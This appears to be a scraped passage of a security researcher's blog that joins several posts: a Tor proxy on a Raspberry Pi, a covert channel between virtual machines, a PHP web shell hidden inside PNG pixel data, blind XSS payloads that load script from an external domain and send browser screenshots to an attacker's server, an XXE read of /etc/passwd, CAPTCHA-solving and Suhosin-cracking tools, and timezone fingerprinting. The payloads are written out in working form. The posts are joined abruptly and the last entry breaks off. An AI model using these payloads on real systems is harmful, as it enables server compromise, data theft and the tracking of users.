As this is a physically separate hardware device it should prevent your identity or location being disclosed even if your laptop is compromised (assuming you have no personally identifiable information on your laptop). This device makes it harder to make mistakes.

Software Installation
Setting up the Pi is a relatively familiar but slow process for anyone that has used Linux – I opted to use the Debian based distribution “Raspbian” as the operating system for the Raspberry Pi choosing to install from scratch on a SDHC card rather than using a pre-built image.

As well as Tor, Polipo and the standard Raspbian packages I’ve installed the following:

• sshd – for management, listening on eth0
• iptables – to restrict access to the device
• macchanger – to randomly assign a new mac address on Internet facing interfaces
• wireless-tools and wpa_supplicant - for WiFi

As the Raspberry PI only has one Ethernet adaptor you need to use either a USB to Ethernet / Wireless USB adaptor / 3G dongle as the other NIC. For the Wireless adaptor I’ve opted for an Alpha Card as which is supported out of the box.

Tor and Polipo can chew up a fair amount of memory so performance is a lot better on the Model B Raspberry Pi which has 512mb of RAM. To make it easier to swap the method for connecting to the Internet I used the on-board NIC as the interface to the laptop. The whole set up looks something like this:

If you need access to a socks proxy then the Tor socks proxy (TCP/9050) could also be exposed on eth0.

System Hardening
All the services are configured so that they don’t store any logs. Additionally, SSH is configured with public/private keys which are not stored on the laptop. Disk encryption can be enabled but it means typing in a password each time the Pi boots.

Power
As the Raspberry Pi is powered using USB it can be powered directly from the laptop and is therefore fully portable (assuming you have a case). Boot time is approximately 1 minute.

Final Thoughts
I’m not sure how secure the Tor Network is but using it is certainly better than using nothing. This device will prevent you from making basic mistakes and if you combine it with free wireless connections should make it significantly harder for you to be identified.

There are some pre-requisites, you need access to two or more virtual machines on the same Hypervisor which between them have access to at least the same number of virtual CPUs as physical CPU cores exist within the Hypervisor – and for these machines to have unlimited CPU resources (MHz). At this point its worth mentioning that cores provided via Hyper-Threading are not considered separate.

When you oversubscribe a Hypervisor the machines within it end up sharing resources. The result of this is that when a VM runs a CPU intensive task it runs until another VM also requests the same resources, when this happens clock cycles are stolen from one VM and given to the other. The consequence of this is that one virtual machine can monitor how busy the Hypervisor is by observing  the shift in number of calculations it can perform in a given time frame. It is by using this technique (a Timing Channel Attack) that two VM’s can communicate.

Monitoring the hypervisor
If you plot a graph of how many calculations per second you can perform on all the virtual cores available to you v.s. time you can see your stolen CPU cycles appear as a dip in the graph.

Each bar represents 250ms of CPU cycles, the gap in the middle is CPU time stolen by another VM

This got me wondering if you can encode data on one VM as a square wave and send it across the Hypervisors’ CPU scheduler to another. As it turns out you can, but its a slow process (comparable to time based blind SQL injection) with the bit rate depending on your VMware configuration and the noise other VMs are generating.

Sending the Square Wave
To send a square wave I’ve got a Python script that increases the CPU load on a given CPU with a simple loop. When the loop runs it represents the dip of the square wave as observed by the receiver, this represents a binary 1. When the loop doesn’t run the script sleeps, this represents a binary 0.

def sendBit(bit, cpuID, timeDelay = 1):

   pid     = os.getpid();
   affinity.set_process_affinity_mask(pid, 1);

   if (bit == '1'):
      print "Sending 1";
      start = time.time();
      while((time.time() - start) < timeDelay):
           x = 0 + 1;

   if (bit == '0'):
      print "Sending 0";
      time.sleep(timeDelay);

The maximum “Frequency” of the square wave transmission depends on the amount of “noise” (other VMs on the hypervisor) - noise is generated when these VMs try and steal CPU cycles. The more noise the lower the frequency that can be achieved and therefore the lower the bit rate between the two virtual machines. The ideal situation for an attacker would be if they controlled all the other VMs on the hypervisor – this would allow them to transmit at a higher frequency (more bits per second) as they could control the level of background noise.

From inital tests I’ve been able to achieve a frequency of between 0.5Hz – 4Hz or about about 0.5bits/sec – 4 bits/sec depending on the Hypervisor load. Not hugely impressive, but dont forget, we’re not using networking.

Receiving the square wave
To listen for the square wave I use a python script that runs on all available cores, each thread counts how many calculations it can do in a given time slice, I then use the sum of all these threads to gauge the load of other machines on the hypervisor. When the other VMs are under load the number of calculations per given time slice will drop, so when the sender increases their CPU load this should show up as a dip in the receivers graph. You can then translate the peaks and troughs in the graph into binary 0′s and 1′s.

The reason we cant just listen on just one virtual CPU is because the Hypervisor may change which physical CPU the virtual CPU is executing on, this can happen randomly. This is also the reason its necessary for the attacker to obtain access to at least the same number of virtual CPUs on the hypervisor as their are hardware CPUs in the system. If one machine doesn’t have enough cores available to it you can use multiple machines and have them communicate their performance over the network.

Structure of the transmission
Having a method to send and receive square waves is great, however to reliably send information we need to package it into a form so that the receiver can distinguish it from background noise. I’ve chosen a simple 32bit packet prefixed with a preamble (although there’s nothing stopping you making the packet bigger) – Its pretty simple and looks like this:

The preamble
When data is about to be sent the sender constructs a “preamble” which is at a slightly higher frequency than that of the data chunk and is unlikely to occur as background noise. The idea of the preamble is that it allows the receiver to detect an incoming message. The receiver then uses the preamble signal to calibrate a threshold for what constitutes a 0 and 1 – this threshold is then used to decode the data chunk which is sent next.

Each bar is 250ms of time - The preamble as observed by the receiver is a 2.5 second stream of "10101" sent using 1 virtual core.

The threshold for what is considered a 0 or a 1 in the data chunk is calculated as:

threshold = min(0) – (0.5 * (min(0) – max(1)))

The Data chunk
When the preamble is received the receiver starts detecting the next 32 bits of data, no data is ever sent back to the sender so this could be compared to a satellite TV transmission. Data is then sent at half the rate of the preamble. This is what the preamble with 32 bits of data looks like to the receiver.

The complete datagram - the preamble followed by 32 bits of data. Each bar represents the number of calculations performed by the receiver in a 250ms period.

Once 32 bits of data has been received the receiver waits for the next preamble to arrive which signifies the arrival of more data.

Dealing with noise
As you can probably tell this isn’t going to be the most reliable way to send information, noise on other virtual processors could corrupt overall message. The easiest solution is to increase the “transmission power” of the signal – if your host that is sending the signal has access to more than one virtual CPU you can send the signal on multiple cores at the same time. Another way to combat noise is to decrease the frequency – this will make transmission slower but more reliable.

If you want to send lots of data you could build in checksums and even data redundancy using forward error correction. This is not something I have done in the proof of concept below but imagine it shouldn’t be too difficult to implement.

Demo / PoC
In case you don’t have access to an ESX/ESXi environment I made a quick video:

The PoC Python code used.

Conclusions
Whether it be disk, memory or CPU – If  two systems have unrestricted access to the same physical resources it should come as no surprise that they can probably communicate using this medium. The only way to prevent this appears to be to physically limit the amount of resources available to each machine, in the case of the CPU by assigning a separate core to each machine or by governing each machines clock speed.

Exploiting a server misconfiguration or Local File Inclusion can be tricky if you cannot write code to the file system – In the past applications that allow image uploads have provided a limited way to upload code to the server via metadata or malformed images. Quite often however images are resized, rotated, stripped of their metadata or encoded into other file formats effectively destroying the web shell payload.

PNG file format basics
Within the PNG file format (we’ll focus on true-color PNG files rather than indexed) the  IDAT chunk stores the pixel information. It’s in this chunk that we’ll store the PHP shell. For now we’ll assume that pixels are always stored as 3 bytes representing the RGB color channels.

When a raw image is saved as a PNG each row of the image is filtered on a per byte basis and the row is prefixed with a number depicting the type of filter that’s been used (0×01 to 0×05), different rows can use different filters. The rationale behind this is to improve the compression ratio. Once all the rows have been filtered they are all compressed with the DEFLATE algorithm to form the IDAT chunk.

So if we want to input data as a raw image and have it saved as a shell we need to defeat both the PNG line filters and the DEFLATE algorithm. It’s easier to work backwards so we’ll start with DEFLATE.

Step 1. Compressing a string to form a shell
Ideally we need to design a string that compresses to form a shell, this is not as hard as you might think but obviously our string can’t contain any repeated blocks of code (or they’ll be compressed). In fact, to prevent a shell from being compressed you have to design one that doesn’t have any repeated sub strings longer than 2 characters in length. This means we have to keep it short:

<?=`$_GET[0]`;?>

If only it were that simple :) Sadly, if you run DEFLATE over the above string you get a load of garbage out, the string hasn’t been compressed but the DEFLATE results don’t start on a byte boundary and are encoded using LSB rather than MSB. I won’t go into it in too much detail but you can read more on Pograph’s weblog

It turns out the easiest shell to encode is in upper case:

<?=$_GET[0]($_POST[1]);?>

You can use it by specifying $_GET[0] as shell_exec and passing a $_POST[1] parameter with the shell command to execute.

I’ve engineered the following string that DEFLATES to the above, the advantage of this string is that the first byte of the payload can be changed from 0×00 up to 0×04 and the compressed string will still remain readable – this is important for evading the PNG filters that will be encountered in the next phase of processing.

03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310

Sadly you can’t just embed this in the initial raw image and have it spat out in the IDAT chunk as the PNG library filters the image rows first before it applies DEFLATE.

Step 2. Bypassing the PNG line filters
There are 5 different types of filters and the PNG encoder decides which one it wants to use for each line. The problem now is we need to construct a string that when passed to the filters results in the string in step 1 being generated.

As long as our image only contains the 1 row payload (the rest of the image needs to be a constant color e.g. black) then the two filters you are likely to encounter are 1 and 3, to simplify things further if the payload remains in the top left of the image then we can write the reverse of the two filters as follows:

// Reverse Filter 1
for ($i = 0; $i < $s; $i++);
        $p[$i+3] = ($p[$i+3] + $p[$i]) % 256;

// Reverse Filter 3
for ($i = 0; $i < $s; $i++);
        $p[$i+3] = ($p[$i+3] + floor($p[$i] / 2)) % 256;

If you encode the payload using just filter 3 the PNG encoder will try to encode it using filter 1, if you encode it using filter 1 the PNG encoder tries to use filter 0 – eventually you end up stuck in a loop.

To control which filter the PNG encoder selects I encode the shell in step two with both the inverse of filter 3 and filter 1 and concatenate them, this forces the encoder to choose filter 3 for the payload and ensures that when the data in the raw image is encoded it is transformed into the code in step 2. This code then compresses into the web shell which is stored in the IDAT chunk.

Using this method the following payload is created – filter 3 is in green, filter 1 in grey. Ironically using filters actually makes the payload larger.

0xa3, 0x9f, 0×67, 0xf7, 0xe, 0×93, 0x1b, 0×23, 0xbe, 0x2c, 0x8a, 0xd0, 0×80, 0xf9, 0xe1, 0xae, 0×22, 0xf6, 0xd9, 0×43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0×1, 0xdc, 0x5a, 0×1, 0xdc, 0xa3, 0x9f, 0×67, 0xa5, 0xbe, 0x5f, 0×76, 0×74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0×30, 0x6b, 0×88, 0x2d, 0×60, 0×65, 0x7d, 0×52, 0x9d, 0xad, 0×88, 0xa1, 0×66, 0×44, 0×50, 0×33

Step 3. Constructing the Raw Image
When constructing the raw image that GD will encode into a PNG file it’s important that you place the payload in the first row of the image. It’s worth noting at this point that the payload I’ve provided above only works for small images (up to ~40px by ~40px) although it is possible to construct payloads for larger image sizes.

Payloads need to be encoded as RGB byte sequences like so:

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y =+ 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img);

When the image is constructed it should appear a string of pixels in the top left corner on a black background:

When the image is viewed with a hex editor you should be able to see the shell:

If you want a background that’s not black it is possible, you may get away with filling in the background with data as long as the bytes (not pixels) within this data do not appear within the rest of the image. If they do the payload may be destroyed when the IDAT block is compressed – it may also cause other filters to be deployed by the encoder.

Step 4. Bypassing image transforms
The primary reason putting a web shell in the IDAT chunk is that it has the ability to bypass resize and re-sampling operations – PHP-GD contains two functions to do this imagecopyresized and imagecopyresampled.

Imagecopyresampled transforms images by taking the average pixel value over a group of pixels meaning that to bypass this you need to encode the payload in a series of rectangles or squares. Imagecopyresized however transforms images by sampling every few pixels meaning that to bypass this function you actually only have to change a few pixels.

Both images below contain the web shell when resized to ¹/₈^th of their original size.

Kim Shell - Resize to 32x32 using imagecopyresize and save as a PNG using GD to reveal the shell.

Resize to 32x32 using imagecopyresample and save as a PNG using GD to reveal the shell.

Some conclusions
Placing shells in IDAT chunks has some big advantages and should bypass most data validation techniques where applications resize or re-encode uploaded images. You can even upload the above payloads as GIFs or JPEGs etc. as long as the final image is saved as a PNG.

There are probably some better techniques you could use to hide the shell more convincingly and short of scanning each uploaded image for a shell there is probably not much you can do as a developer to stop it. I’d imagine that encoding a shell into a lossy format such as JPEG could be substantially harder – but probably not impossible.

Blind Stored XSS
By injecting script tags containing an external JavaScript resource into arbitrary HTTP input fields you can attempt to detect XSS in pages or applications which might not be accessible. To increase my chances of getting my script tags past basic data validation (e.g. length) I registered a short domain name for my payloads. Using a 3 letter domain with 2 letter prefix and a protocol relative URL the shortest functional script payload that pulls in an external resource is probably ~32 characters:

<script src="//xqi.cc"></script>

Additionally you can also try onload or onmouseover events in case the injection is inside an HTML attribute; although this significantly increases the size of the payload to about 160 characters:

" onmouseover="var n=document.createElement('script'); n.type='text/javascript';n.src='//xqi.cc'; x=document.getElementsByTagName('head'); x[0].appendChild(n);
" onload="var n=document.createElement('script'); n.type='text/javascript';n.src='//xqi.cc'; x=document.getElementsByTagName('head'); x[0].appendChild(n);

It goes without saying that you are depending on the administrator or user to view the XSS in order for it to execute, your chances will depend on the type of injection you use and how frequently the vulnerable application is accessed. You’ll know when the JavaScript resource executes in another application because you can see the JavaScript resource and the HTTP referrer in your HTTP logs:

1.2.3.4 – - [09/Apr/2012:02:10:49 +0000] “GET / HTTP/1.1″ 200 57 “http://www.site.com/admin/customers.aspx” “Mozilla/5.0 (Windows NT 6.1; rv:10.0.2) Gecko/20100101 Firefox/10.0.2″
1.2.3.4 – - [09/Apr/2012:02:10:59 +0000] “GET / HTTP/1.1″ 200 57 “http://www.site.com/admin/view_customer.aspx?id=122″ “Mozilla/5.0 (Windows NT 6.1; rv:10.0.2) Gecko/20100101 Firefox/10.0.2″

I was deploying these payloads using a custom Burp extension although I’ve now discovered Acunetix allows you to issue custom payloads – you can download the script I use here.

Taking a screenshot
The HTML5 Canvas allows you to quickly render (client side) an accurate screenshot of the clients browser and use Ajax to return it to a server controlled by the attacker.

The code I use is based more or less entirely on Niklas Von Hertzen’s version available on GitHub. However I’ve made a few modifications in order to weaponize it:

• Merged the source together (Jquery, HTMLCanvas and the JQueryHTMLCanvas plugin) so that the payload consists of just 1 file
• Removed any messages displayed to the user
• Added an Ajax post so that it posts the Canvas to a remote server
• Added some code to prevent the JS being loaded multiple times on the same page

On the server side there is also a script to decode the Canvas which is posted as a base64 encoded string and write it to a database which also has Referrer, Remote Address and User Agent fields. This allows me to keep track of users that execute the code.

Cross Domain Policy and other issues
The only real caveat is that the script will run with the same-origin policy preventing it from fetching resources from other domains (e.g. images hosted on a CDN). In an attempt to overcome this the script uses a proxy to fetch external resources that are outside of its domain (this obviously wont work for any resources that are not publicly accessible).

Its also worth nothing that taking a screenshot using HTML5 doesn’t really provide you with any more information than harvesting a copy of the DOM using XSS.

Download HTML5 Screenshot XSS POC code
(Tested in the latest versions of Chrome and Firefox)

Article updated 6th April 2012 to include protocol relative URLs and a custom Acunetix Script

The vulnerability occurs because Symfony2 fails to disable external entities before parsing XML. As explained in my previous post this is particularly brutal in PHP where PHP filters can be used to include binary data or scan behind perimeter firewalls.

In the example below XML is deserialized and the contents of /etc/passwd are returned as a base64 encoded string.

$XMLString = "
 <?xml version="1.0"?>
 <!DOCTYPE scan [<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]> 
 <scan>&test; </scan>
"

$serializer = new Serializer(array(), array(
  'xml' => new \Symfony\Component\Serializer\Encoder\XmlEncoder()
));

$x = $serializer->decode($XMLString, 'xml');

var_dump($x);

If the deserialized XML is not displayed to the end user you can still perform a Denial of Service attack through XML entity expansion.

Several services exist for decoding CAPTCHA, although DeathByCaptcha seems pretty good and from the initial tests I’m seeing a 99.7% accuracy rate (with reCAPTCHA at least) – The premise for most of these services is simple, upload your CAPTCHA to the API and poll for a response until it is solved by someone at the other end. DeathByCaptcha currently charges $13.90 per 10,000 solutions. The API is a simple REST interface and it normally takes only a few seconds to decode the image.

The concept:
Burp Extender allows you to hook and modify all HTTP responses before they are used by any of the tools in the Burp Suite. The idea behind the Burp Extender extension I’ve written is to intercept all of the HTTP responses, examine them for the reCAPTCHA script and replace the input fields with the solution from DeathByCaptcha. This will effectively turn reCAPTCHA into a nonce or one-time-token which Burp 1.4 macros can easily handle in a similar way to CSRF tokens.

How it works:
I’ve chosen reCAPTCHA as the target as its widely used – it also has the advantage that the solution can be directly validated against Google servers so you can check that the solution is correct before you post it to the target domain. The general structure of my Burp Extension looks like this:

To summarise the above the main steps are:

• Extract the reCAPTCHA site key from the Intercepted Server Response – these match the expression “6[A-Za-z\-_]{39}”
• Use the site key to request the Iframe that contains a link to a CAPTCHA image.
• Extract the reCAPTCHA JPEG location and reCAPTCHA challenge field from the Iframe HTML source.
• Post the JPEG to DeathByCaptcha for solving.
• Post the solution to the Iframe location.
• Obtain the challenge response from the reply from the previous post and modify the initial HTTP Response to contain the challenge/response codes.

Compiling:
To compile ensure you have the Java SDK installed and issue the following commands:

javac.exe BurpExtender.java
jar.exe -cf BurpExtender.jar BurpExtender.class

This should generate a burpExtender.jar file in the working directory.

Running:
The extension takes two command line arguments. The username and password for the DeathByCaptcha API (so if you want to run the extension you’ll need to sign up to the service). To run the extension make sure the extension is located in the same directory as the Burp Suite and run:

java -Xmx512m -classpath “*” burp.StartBurp “myusername” “mypassword”

When you now browse through the Burp Proxy to sites such as http://www.google.com/recaptcha/learnmore you should see the reCAPTCHA replaced with a challenge and response input box. Generally the API can take anywhere from 5 to 20 seconds to translate the CAPTCHA, while this is happening the page will not load. Once its decoded the image you should see something similar to below:

(Before / After - When browsing through the Burp Proxy)

The code isn’t pretty – its been hacked together – its more proof of concept. There isn’t a great deal of error handling and not being a Java Developer I may have used entirely the wrong methods in certain places.

Download the reCAPTCHA Burp Extension here

]]> http://www.idontplaydarts.com/2012/01/extending-burp-suite-to-solve-recaptcha/feed/ 5 http://www.idontplaydarts.com/2011/11/decrypting-suhosin-sessions-and-cookies/ http://www.idontplaydarts.com/2011/11/decrypting-suhosin-sessions-and-cookies/#comments Wed, 30 Nov 2011 09:41:33 +0000 Phil http://www.idontplaydarts.com/?p=650 Continue reading →]]> The suhosin module provides transparent cookie and session encryption out of the box to PHP applications. Once enabled any session values stored on disk are encrypted with rijndael and a slight variation on base64 encoding, the same applies to any cookies that are stored on the client. Many people rely solely on this encryption to protect them against parameter tampering attacks.

This post will explain why suhosin encryption is not necessarily as secure as you might think and how its default configuration should not be relied upon to protect the content of sessions and cookies.

Basic suhosin encryption settings

First you need to understand the PHP suhosin session and cookie settings and how these affect access to the session and cookie data, in particular how they affect the generation of the encryption key used to protect the data. There are six settings for both suhosin.session and suhosin.cookie these are their defaults:

How Suhosin generates the encryption key

As you can see, the more Suhosin settings that are enabled the more complex the encryption key will become – sessions by default are encrypted using solely the document root where as cookies use a concatenation of both the document root and user agent string. The key will always be built in the same way and take the order:

cryptkey + user agent + document root + IP octets

12345Mozilla/5.0 (X11; Linux x86_64; rv:6.0.2) Gecko/20100101 Firefox/6.0.2/var/www127.0.0.1

The variables are concatenated without a separator – if for some reason the cryptkey string is NULL then Suhosin will default to a value of “D3F4UL7”. Once built the string is hashed using SHA256 and the result used to generate a 256bit rijndael encryption key. The code used to generate the SHA256 key is shown below:

char *suhosin_generate_key(char *key, zend_bool ua, zend_bool dr, long raddr, char *cryptkey TSRMLS_DC)
{
    char *_ua = NULL;
    char *_dr = NULL;
    char *_ra = NULL;
    suhosin_SHA256_CTX ctx;
    
    if (ua) {
        _ua = sapi_getenv("HTTP_USER_AGENT", sizeof("HTTP_USER_AGENT")-1 TSRMLS_CC);
    }
    
    if (dr) {
        _dr = sapi_getenv("DOCUMENT_ROOT", sizeof("DOCUMENT_ROOT")-1 TSRMLS_CC);
    }
    
    if (raddr > 0) {
        _ra = sapi_getenv("REMOTE_ADDR", sizeof("REMOTE_ADDR")-1 TSRMLS_CC);
    }
    
    suhosin_SHA256Init(&ctx);

    if (key == NULL) {
        suhosin_SHA256Update(&ctx, (unsigned char*)"D3F4UL7", sizeof("D3F4UL7"));
    } else {
        suhosin_SHA256Update(&ctx, (unsigned char*)key, strlen(key));
    }
    if (_ua) {
        suhosin_SHA256Update(&ctx, (unsigned char*)_ua, strlen(_ua));
    }
    if (_dr) {
        suhosin_SHA256Update(&ctx, (unsigned char*)_dr, strlen(_dr));
    }

    if (_ra) {
        if (raddr >= 4) {
            suhosin_SHA256Update(&ctx, (unsigned char*)_ra, strlen(_ra));
        } else {
            long dots = 0;
            char *tmp = _ra;
            
            while (*tmp) {
                if (*tmp == '.') {
                    dots++;
                    if (dots == raddr) {
                        break;
                    }
                }
                tmp++;
            }
            suhosin_SHA256Update(&ctx, (unsigned char*)_ra, tmp-_ra);
        }
    }

    suhosin_SHA256Final((unsigned char *)cryptkey, &ctx);
    cryptkey[32] = 0; /* uhmm... not really a string */

    return cryptkey;
}

If you refer back to the default settings the key used to encrypt sessions is derived from solely the web root e.g. /var/www (this is not the same as /var/www/). Cookies are encrypted with both the web root and the clients user agent string (which is known). A simple PHP error could give the location of the web root to an attacker which he could use to decrypt and tamper with client side cookies or the data stored within server sessions (assuming he has access to the sessions on disk).

Calculating the encryption key value

If we assume the default Suhosin settings are in place then defeating the cookie encryption is a simple case of either finding an error message with the web root in or staging a dictionary attack on the name of the web root. You should already know what your user agent string is so there is only one unknown variable to guess. Using information harvested from Google searches for “DocumentRoot not found” I’ve come up with a script that takes a domain name an generates a list of plausible web roots. (Download the DocumentRoot generator.) These can be fed into a script to brute-force the encrypted data.

#bash> ./generate.php
Usage ./generate.php domainname.com > directorylist.txt

#bash> ./generate.php idontplaydarts.com > dirlist.txt
#bash> wc -l dirlist.txt
29160 dirlist.txt
#bash> cat dirlist.txt
/data/web
/data/web/
/data/web/idontplaydarts.com/public_html
/data/web/idontplaydarts.com/public_html/
......

But what if the session data is also encrypted with the user agent string and you want to decrypt someone else’s session? Now you’ll need to brute-force the user agent string as well, there are probably only a few thousand variants of the modern browsers and there are plenty of lists to choose from. If you’ve already compromised the system you could construct a list of agents from the servers Apache logs and use these in the attack.

If the system administrator or developer has opted to lock the session to the clients IP address using cryptraddr then you might have to test the entire 32 bit range of IP addresses. Luckily however thanks to some service providers frequently changing your IP address during the course of your Internet session it is unlikely that any more than the first two octets of the IP address will be used in the rijndael key. You can further reduce this set of IP addresses if you know what country the client is connecting from, MaxMind has a good GeoLocation database that can be used to narrow down you attack. Again, if you can view the Apache logs and extract the IP addresses of the hosts that have accessed the server it will significantly reduce your search space (if your attacking a cookie rather than a session you should already know your IP address).

You might have noticed on line 17 that Suhosin looks to the REMOTE_ADDR variable for the clients IP address so there is a potential for a further mis-configuration if Apache resides behind a load balancer or proxy such as Nginx or Varnish which is failing to update the REMOTE_ADDR header. In these situations the REMOTE_ADDR might be that of the upstream proxy which would make the attack much quicker as every client will appear to come from the same address.

Decrypting Suhosin sessions and cookies using C

I saw a good entry on ha.xxor.se that describes how to hijack a session on shared hosting however this involves manipulating internal variables in PHP which doesn’t always work and tends to be fairly slow. I briefly tried decrypting the session variables using purely PHP and the mcrypt extension although I had little success.

In order to decrypt Suhosin sessions and cookie strings you really need an external program that is independent of PHP, one that can quickly brute force sessions or cookies saved in a file. I couldn’t find one on the net so I wrote one in C – its mainly hacked together from bits of the suhosin and PHP source code. There is plenty of scope for improvement and optimisations.

The script comes with 3 examples located in the demos/ folder – I’ve included a compiled version that should work on x86 Linux as well as the source and make file.

Download the Suhosin decrypter.

Usage: cmd [SESSION FILE] [OPTIONS]

Cracks Suhosin rijndael encryption by launching dictionary attacks on	
the key. The session or cookie string to be cracked must be placed in 	
SESSION FILE.		

Mandatory Arguments:
  [SESSION FILE]        File containing the session data

Arguments:
  -UA                   list of user agents in txt file
  -DR                   list of directory roots
  -IP                   list of ip addresses
  -CK                   list of crypt keys
  -ip                   singular ip adddress
  -dr                   singular directory root
  -ua                   singular user agent
  -ck                   crypt key string

NB. When a list of anything is specified the decrypter will also add    
    a blank string to the list.						

Download the Suhosin decrypter.

Similarly the following areas have distinct timezones:

• Marquesas Islands -09:30
• Venezuela -04:30
• Labrador and Newfoundland -03:30
• Brazilian Ocean Islands -02:00
• Iran +03:30
• Afghanistan +04:30

• Nepal +05:45
• Myanmar +06:30
• Caiguna-Eucia +08:45
• Lord Howe Island +10:30
• Norfolk Island +11:30
• Kiribati Line Islands +14:00

This only affects a few million people in a few specific locations and it makes it hard to establish what country someone is in who shares for example, the -11:00 timezone. However, many countries, states or territories observe or at some stage have experimented with DST (Daylight Savings Time). Mitchigan for example experimented briefly with DST in 1975, Western Australia in 1972 and Fiji in 2009. Places tend to choose different start and end dates and up until 2008 Brazil used to change the time that they entered DST each year. These differences can be used to distinguish a users country from other countries in the same offset.

Operating systems require a list of these changes in order to know when to change the time. While the name of the timezone and the dates that the clock changes is not directly accessible via the JavaScript Date object the current timezone can be inferred by calculating the dates that the TimeZoneOffset changes.

Using the Date object its possible to loop through all the days from 1970 to 2010 and observe when the TimeZoneOffset changes (1970 is the earliest that the time zone database goes back). By recording the dates when the offset changes we can create a fingerprint that may help to locate a users position:

var d        = new Date();
var i        = d.getTime();
var oldTime  = d.getTimezoneOffset();
var fp       = '';

d.setTime(0);

for (var i = 0; i < 1317731928000; i += 86400000) {
     d.setTime(i);
     newTime = d.getTimezoneOffset();
     if (newTime != oldTime) {
        timeZone += (newTime + '@' + Math.round(i / 1000) + ';');
        oldTime = newTime;      
     }
}

When run on Linux in the Firefox browser the script will create strings such as the following which are unique and identify users in New South Wales, Australia:

-600@39618001; -660@55346401; -600@71067601; -660@86796001; -600@102517201; -660@118850401; -600@134571601; -660@150300001; -600@166021201; -660@181749601; -600@197470801; -660@213199201; -600@228920401; -660@244648801; -600@260370001; -660@276098401; -600@291819601; -660@308152801; -600@323874001; -660@339602401; -600@355323601; -660@371052001; -600@386773201; -660@402501601; -600@418222801; -660@433951201; -600@449672401; -660@466005601; -600@481726801; -660@497455201; -600@513176401; -660@528904801; -600@544626001; -660@560354401; -600@576075601; -660@591804001; -600@607525201; -660@623253601; -600@638974801; -660@655308001; -600@671029201; -660@686757601; -600@702478801; -660@718207201; -600@733928401; -660@749656801; -600@765378001; -660@781106401; -600@796827601; -660@812556001; -600@828882001; -660@844610401; -600@860331601; -660@876060001; -600@891781201; -660@907509601; -600@923230801; -660@938959201; -600@954680401; -660@970408801; -600@986130001; -660@1002463201; -600@1018184401; -660@1033912801; -600@1049634001; -660@1065362401; -600@1081083601; -660@1096812001; -600@1112533201; -660@1128261601; -600@1143982801; -660@1159711201; -600@1175432401; -660@1191765601; -600@1207486801; -660@1223215201; -600@1238936401; -660@1254664801; -600@1270386001; -660@1286114401;

A good example is that of Istanbul (Turkey), Minsk (Belarus) and Jerusalem (Israel) – All share the +0200 Timezone but all have observed DST at differing times since 1970 creating three different signatures:

Istanbul:
-180@39132001; -120@57790801; -180@70581601; -120@89240401; -180@102031201; -120@120690001; -180@133480801; -120@152139601; -180@165535201; -120@183589201; -180@196984801; -120@215643601; -180@228434401; -120@247093201; -180@259884001; -120@278542801; -180@291333601; -120@309992401; -180@323388001; -120@341442001; -180@354837601; -120@372891601; -180@386287201; -120@404946001; -180@417736801; -120@436395601; -180@449186401; -120@467845201; -180@480636001; -120@499294801; -180@512690401; -120@530744401; -180@544140001; -120@562194001; -180@575589601; -120@594248401; -180@607039201; -120@625698001; -180@638488801; -120@657147601; -180@669938401; -120@688597201; -180@701992801; -120@720046801; -180@733442401; -120@752101201; -180@764892001; -120@783550801; -180@796341601; -120@815000401; -180@827791201; -120@846450001; -180@859845601; -120@877899601; -180@891295201; -120@909349201; -180@922744801; -120@941403601; -180@954194401; -120@972853201; -180@985644001; -120@1004302801; -180@1017093601; -120@1035752401; -180@1049148001; -120@1067202001; -180@1080597601; -120@1099256401; -180@1112047201; -120@1130706001; -180@1143496801; -120@1162155601; -180@1174946401; -120@1193605201; -180@1207000801; -120@1225054801; -180@1238450401; -120@1256504401; -180@1269900001; -120@1288558801;

Jerusalem:
-180@39477601; -120@55371601; -180@71532001; -120@86821201; -180@102981601; -120@118875601; -180@134431201; -120@150325201; -180@165880801; -120@181774801; -180@197330401; -120@213224401; -180@228780001; -120@244674001; -180@260834401; -120@276123601; -180@292284001; -120@308178001; -180@323733601; -120@339627601; -180@355183201; -120@371077201; -180@386632801; -120@402526801; -180@418082401; -120@433976401; -180@450136801; -120@466030801; -180@481586401; -120@497480401; -180@513036001; -120@528930001; -180@544485601; -120@560379601; -180@575935201; -120@591829201; -180@607989601; -120@623278801; -180@639439201; -120@655333201; -180@670888801; -120@686782801; -180@702338401; -120@718232401; -180@733788001; -120@749682001; -180@765237601; -120@781131601; -180@797292001; -120@812581201; -180@828741601; -120@844635601; -180@860191201; -120@876085201; -180@891640801; -120@907534801; -180@923090401; -120@938984401; -180@955144801; -120@970434001; -180@986594401; -120@1002488401; -180@1018044001; -120@1033938001; -180@1049493601; -120@1065387601; -180@1080943201; -120@1096837201; -180@1112392801; -120@1128286801; -180@1144447201; -120@1159736401; -180@1175896801; -120@1191790801; -180@1207346401; -120@1223240401; -180@1238796001; -120@1254690001; -180@1270245601; -120@1286139601;

Minsk:
